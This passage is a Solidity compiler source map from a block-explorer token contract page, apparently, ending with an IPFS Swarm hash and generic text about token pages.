0;;-1:-1:-1;;;;;15021:469:0:o;15498:534::-;15692:7;;;;15789:24;:7;15801:11;15789;:24::i;:::-;15771:42;-1:-1:-1;15824:12:0;15839:21;:4;15848:11;15839:8;:21::i;:::-;15824:36;-1:-1:-1;15871:13:0;15887:22;:5;15897:11;15887:9;:22::i;:::-;15871:38;-1:-1:-1;15920:23:0;15946:28;15871:38;15946:17;:7;15958:4;15946:11;:17::i;:28::-;15993:7;;;;-1:-1:-1;16019:4:0;;-1:-1:-1;15498:534:0;;-1:-1:-1;;;;;;;15498:534:0:o;2819:246::-;2877:7;2901:1;2906;2901:6;2897:47;;-1:-1:-1;2931:1:0;2924:8;;2897:47;2954:9;2966:5;2970:1;2966;:5;:::i;:::-;2954:17;-1:-1:-1;2999:1:0;2990:5;2994:1;2954:17;2990:5;:::i;:::-;:10;2982:56;;;;-1:-1:-1;;;2982:56:0;;11451:2:1;2982:56:0;;;11433:21:1;11490:2;11470:18;;;11463:30;11529:34;11509:18;;;11502:62;-1:-1:-1;;;11580:18:1;;;11573:31;11621:19;;2982:56:0;11249:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:273::-;2545:6;2598:2;2586:9;2577:7;2573:23;2569:32;2566:52;;;2614:1;2611;2604:12;2566:52;2653:9;2640:23;2706:5;2699:13;2692:21;2685:5;2682:32;2672:60;;2728:1;2725;2718:12;2767:247;2826:6;2879:2;2867:9;2858:7;2854:23;2850:32;2847:52;;;2895:1;2892;2885:12;2847:52;2934:9;2921:23;2953:31;2978:5;2953:31;:::i;3019:127::-;3080:10;3075:3;3071:20;3068:1;3061:31;3111:4;3108:1;3101:15;3135:4;3132:1;3125:15;3151:1000;3229:6;3237;3290:2;3278:9;3269:7;3265:23;3261:32;3258:52;;;3306:1;3303;3296:12;3258:52;3346:9;3333:23;3375:18;3416:2;3408:6;3405:14;3402:34;;;3432:1;3429;3422:12;3402:34;3470:6;3459:9;3455:22;3445:32;;3515:7;3508:4;3504:2;3500:13;3496:27;3486:55;;3537:1;3534;3527:12;3486:55;3573:2;3560:16;3595:2;3591;3588:10;3585:36;;;3601:18;;:::i;:::-;3676:2;3670:9;3644:2;3730:13;;-1:-1:-1;;3726:22:1;;;3750:2;3722:31;3718:40;3706:53;;;3774:18;;;3794:22;;;3771:46;3768:72;;;3820:18;;:::i;:::-;3860:10;3856:2;3849:22;3895:2;3887:6;3880:18;3937:7;3930:4;3925:2;3921;3917:11;3913:22;3910:35;3907:55;;;3958:1;3955;3948:12;3907:55;4018:2;4011:4;4007:2;4003:13;3996:4;3988:6;3984:17;3971:50;4065:1;4058:4;4041:15;;;4037:26;;4030:37;4041:15;4124:20;;;;4111:34;;-1:-1:-1;;;;;;3151:1000:1:o;4156:180::-;4215:6;4268:2;4256:9;4247:7;4243:23;4239:32;4236:52;;;4284:1;4281;4274:12;4236:52;-1:-1:-1;4307:23:1;;4156:180;-1:-1:-1;4156:180:1:o;4341:388::-;4409:6;4417;4470:2;4458:9;4449:7;4445:23;4441:32;4438:52;;;4486:1;4483;4476:12;4438:52;4525:9;4512:23;4544:31;4569:5;4544:31;:::i;:::-;4594:5;-1:-1:-1;4651:2:1;4636:18;;4623:32;4664:33;4623:32;4664:33;:::i;:::-;4716:7;4706:17;;;4341:388;;;;;:::o;4734:356::-;4936:2;4918:21;;;4955:18;;;4948:30;5014:34;5009:2;4994:18;;4987:62;5081:2;5066:18;;4734:356::o;5095:127::-;5156:10;5151:3;5147:20;5144:1;5137:31;5187:4;5184:1;5177:15;5211:4;5208:1;5201:15;5227:168;5300:9;;;5331;;5348:15;;;5342:22;;5328:37;5318:71;;5369:18;;:::i;5400:127::-;5461:10;5456:3;5452:20;5449:1;5442:31;5492:4;5489:1;5482:15;5516:4;5513:1;5506:15;5532:125;5597:9;;;5618:10;;;5615:36;;;5631:18;;:::i;5662:217::-;5702:1;5728;5718:132;;5772:10;5767:3;5763:20;5760:1;5753:31;5807:4;5804:1;5797:15;5835:4;5832:1;5825:15;5718:132;-1:-1:-1;5864:9:1;;5662:217::o;9108:128::-;9175:9;;;9196:11;;;9193:37;;;9210:18;;:::i;9652:251::-;9722:6;9775:2;9763:9;9754:7;9750:23;9746:32;9743:52;;;9791:1;9788;9781:12;9743:52;9823:9;9817:16;9842:31;9867:5;9842:31;:::i;9908:980::-;10170:4;10218:3;10207:9;10203:19;10249:6;10238:9;10231:25;10275:2;10313:6;10308:2;10297:9;10293:18;10286:34;10356:3;10351:2;10340:9;10336:18;10329:31;10380:6;10415;10409:13;10446:6;10438;10431:22;10484:3;10473:9;10469:19;10462:26;;10523:2;10515:6;10511:15;10497:29;;10544:1;10554:195;10568:6;10565:1;10562:13;10554:195;;;10633:13;;-1:-1:-1;;;;;10629:39:1;10617:52;;10724:15;;;;10689:12;;;;10665:1;10583:9;10554:195;;;-1:-1:-1;;;;;;;10805:32:1;;;;10800:2;10785:18;;10778:60;-1:-1:-1;;;10869:3:1;10854:19;10847:35;10766:3;9908:980;-1:-1:-1;;;9908:980:1:o

Swarm Source

ipfs://e77163100683b527ca568911cbb15a4db20474a4e6bc5d022caf6cb336fce7f0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.